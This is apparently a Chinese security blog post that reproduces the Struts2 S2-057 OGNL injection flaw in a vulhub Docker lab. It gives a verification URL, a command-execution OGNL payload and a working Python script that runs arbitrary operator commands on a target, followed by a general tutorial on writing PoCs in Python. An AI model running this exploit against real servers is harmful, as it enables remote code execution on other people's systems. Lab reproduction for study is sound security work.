漏洞复现-Struts2-s2-057&&POC

_s1mple

2166人浏览 · 2022-05-17 17:50:08

_s1mple · 2022-05-17 17:50:08 发布

环境搭建

漏洞部署使用docker，源码下载链接https://github.com/vulhub/vulhub/tree/master/struts2/s2-057

启动环境：

docker-compose up -d

访问：http://your-ip:8080/struts2-showcase/

复现工具

bp、python

复现过程

（1）验证漏洞是否存在

POC：

/struts2-showcase/$%7B233*233%7D/actionChain1.actio

http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.actio 访问🔗后，链接中的/$%7B233*233%7D/被解析成了54289（233*233），说明存在漏洞。

(2)利用已有的POC（exp）复现

此处的POC需要url编码

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

POC编写

漏洞复现基本完成，现在进行Poc编写

import requests
import sys

def titles():
    print('+------------------------------')
    print('Version:Struts2 s2 -057')
    print('aythor:1zzZ')
    print('time:2022/5/17')
    print('+------------------------------')
def Poc(url):
    try:
        while True:
            cmd = input('$')
            payload_command = '/struts2/%24%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27'+cmd+'%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action'
            payload_test = '/struts2-showcase/$%7B1+1%7D/actionChain1.action'
            response_test = requests.get(url=url + payload_test,allow_redirects=False,verify=False,timeout=6)
            content = response_test.headers.get('Location').split('/')[2]
            if cmd == 'exit':
                exit()
            if response_test.status_code == 302 and content == '2':
                url1 = url + payload_command
                response = requests.get(url = url1, allow_redirects=False,verify=False,timeout=6)
                print(response.headers.get('Location').split('/')[2])
    
    except requests.ConnectionError as error:

        print('请求出错')
if __name__== "__main__":
    titles()
    #args = 'http://139.198.124.92:8080'
    args = sys.argv[1] 
    Poc(url=args)

PoC 编写流程

对于一个已知公开的漏洞，编写流程大致分为一下几个步骤：

1. 查看漏洞详情，确定影响范围。获取一个漏洞的详细情况后，可以通过官网下载受影响版本，或者在github上查找已有的docker文件。

2. 搭建漏洞环境通过虚拟机、docker、phpstudy搭建漏洞环境，有条件的同学可以在云端搭建，（这里推荐使用docker进行搭建，搭建环境中会出现一些错误，浪费不必要的时间，而已有的docker是大佬们对漏洞进行复现后写出来的docker文件）。

3. 复现漏洞根据漏洞详情，跟着走一遍流程，检测漏洞是否存在，其中要尤其注意些参数、命令、函数及对应的提交方法，大概了解漏洞的原理、利用过程、判断漏洞是否存在的地方。

4. 书写Poc 在漏洞复现完成后，开始着手写Poc，可以先写一个简单的请求，检查漏洞是否存在，然后可以将页面的请求通过正则或者lxml进行过滤得到想要的结果。

5. 测试Poc 通过搭建的环境对书写的Poc进行测试，在书写的时候验证漏洞存在后，每次进行修改都要进行测试，最终达到想要的效果。

Poc编写涉及到的一些库

urllib —— 提供的一个用于操作URL的模块，爬取网页的时候，经常需要用到这个库。

urllib.request —— 打开和读取url
urllib.error —— 包含 urllib.request 抛出的异常。
urllib.parse —— 解析 URL。

requests —— 实现的简单易用的HTTP库，比urllib更加简洁

requests.get(url,headers,data,verify=False,proxies=proxy,timeout=10)
url —— 请求的url
headers —— 请求时构造的请求头
data —— 请求时带入的数据
verify —— 取消https告警
proxies —— 代理设置
timeout —— 请求响应超时处理

re —— 正则表达式模块，使用简洁的字符表达式，匹配字符串中想要的结果

使用的正则语法，建议将请求源码复制到在线正则匹配网站，进行正则语法构造。
正则在线测试：https://c.runoob.com/front-end/854

json —— 将Python数据处理成json格式或者将json数据处理成Python数据格式

两种方法
json.dumps  将 Python 对象编码成 JSON 字符串 
json.loads   将已编码的 JSON 字符串解码为 Python 对象

lxml —— XML和HTML的解析器，其主要功能是解析和提取XML和HTML中的数据，也可以定位特定元素及节点的信息

lxml 定位元素节点涉及到Xpath语法
from lxml import etree
html = etree.HTML(response.text)
result = html.xpath('xpath语句')
print(result)

optparse —— 命令行参数模块，在Poc中经常看到一些参数 -h(--hlep)、-u(--url)等参数，就是使用的此模块

parser = optparse.OptionParser()   # 导入OptionParser对象后才可以使用add_option
parse.add_option('-u','--user',dest='user',action='store',type=str,metavar='user',help='Enter User Name!!')    # 添加需要的参数和内容
parse.set_defaults(v=1.2)  #也可以这样设置默认值  
options,args=parse.parse_args()

base64 —— 对字符串进行base64加密解密模块

base64.b64encode() —— 编码函数
base64.b64decode() —— 解码函数

multiprocessing —— 多进程，在处理一些数据量较大的请求时可以使用多进程来较少处理时间。（Pyhton的多线程是假的并不是并发而是串发的）

from multiprocessing import Process
def Poc():
xxxx
....


if __name == '__main__':
    for i in rangge(5):
        thread = Process(target=Poc,args=str(i))
        thread.start()
    Thread.join()

Web漏洞Poc编写基本方法

import requests

import re

from requests.packages.urllib3.exceptions import InsecureRequestWarning



def Poc(url):

target_url = url + 'payload' #验证存在漏洞的url

# 代理池设置

proxy = {

        'http':'127.0.0.1:812',

        'http':'127.0.0.1:8123'

    }

# 请求头部分构造

    headers = {

        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36',   #模拟浏览器请求

        'cookie':'xxxxxxxxxxxxxx',   #有些请求需要带上cookie才可以请求到想要的内容

        'Connection':'close'   #关闭多余的连接请求

    }

    data = {'name':'xxxx','value':'xxxx'}   #向url中带入请求的数据

    # 使用try except对异常进行处理

    try:

        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)    #取消SSL验证告警

        response = requests.get(url=target_url,headers=headers,data=data,verify=False,proxies=proxy,timeout=10)   #请求漏洞的url

        if response.status_code == 200:

            result = re.search(r'_____',response.text,re.I)    #使用正则匹配页面请求，下划线处填写正则规则

            print('正在获取结果：{}'.format(result.group(1)))

        else:

            print('请求失败：{}'.format(response.status_code))

    except Exception as e:

        print('请求失败: {}'.format(e))



if __name__ == '__main__':

    url = str(input('请输入检测的url：'))

    Poc(url)